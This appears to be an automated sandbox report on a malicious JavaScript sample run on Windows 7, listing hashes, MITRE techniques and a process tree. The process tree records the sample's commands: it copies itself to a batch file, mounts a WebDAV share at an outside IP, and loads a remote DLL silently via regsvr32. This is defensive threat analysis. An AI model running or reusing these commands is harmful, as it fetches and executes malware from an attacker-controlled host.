d2375b876f50bbce3b7ae8318f34eec8a051194ac7af8bc0438fdd15ade9680d

Analysis

max time kernel
117s
max time network
126s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 10:08

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General

Target

1577522145318959617.js
Size

5KB
MD5

39531438ce51eed6e60a5d8ed5fce6ed
SHA1

99e148091eabf5c886f70911550cfb42b3789f3b
SHA256

d2375b876f50bbce3b7ae8318f34eec8a051194ac7af8bc0438fdd15ade9680d
SHA512

9afa5901f6c3a7f7b3ba775b4ecc534dd2ad7e73d599c16c49b2fb6b1c9860d8c25e665d7f0545bb2be6ffba1c636ba6ab1ef3ffeb11adc8d0852dbfd31a4799
SSDEEP

96:fZbUqk2CIdIl8G5QpsiFyvQdVqBfezJX7M4Xv2S70X7mEX0lgzmqELkjzmqE+:fNS2d/9s6VNR+NIkHv

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2700	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 2340	2480	wscript.exe	30
PID 2480 wrote to memory of 2340	2480	wscript.exe	30
PID 2480 wrote to memory of 2340	2480	wscript.exe	30
PID 2340 wrote to memory of 2908	2340	cmd.exe	32
PID 2340 wrote to memory of 2908	2340	cmd.exe	32
PID 2340 wrote to memory of 2908	2340	cmd.exe	32
PID 2340 wrote to memory of 2700	2340	cmd.exe	33
PID 2340 wrote to memory of 2700	2340	cmd.exe	33
PID 2340 wrote to memory of 2700	2340	cmd.exe	33
PID 2340 wrote to memory of 2700	2340	cmd.exe	33
PID 2340 wrote to memory of 2700	2340	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1577522145318959617.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1577522145318959617.js" "C:\Users\Admin\\yhdhza.bat" && "C:\Users\Admin\\yhdhza.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2908
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\480.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\yhdhza.bat

Filesize
5KB

MD5
39531438ce51eed6e60a5d8ed5fce6ed

SHA1
99e148091eabf5c886f70911550cfb42b3789f3b

SHA256
d2375b876f50bbce3b7ae8318f34eec8a051194ac7af8bc0438fdd15ade9680d

SHA512
9afa5901f6c3a7f7b3ba775b4ecc534dd2ad7e73d599c16c49b2fb6b1c9860d8c25e665d7f0545bb2be6ffba1c636ba6ab1ef3ffeb11adc8d0852dbfd31a4799

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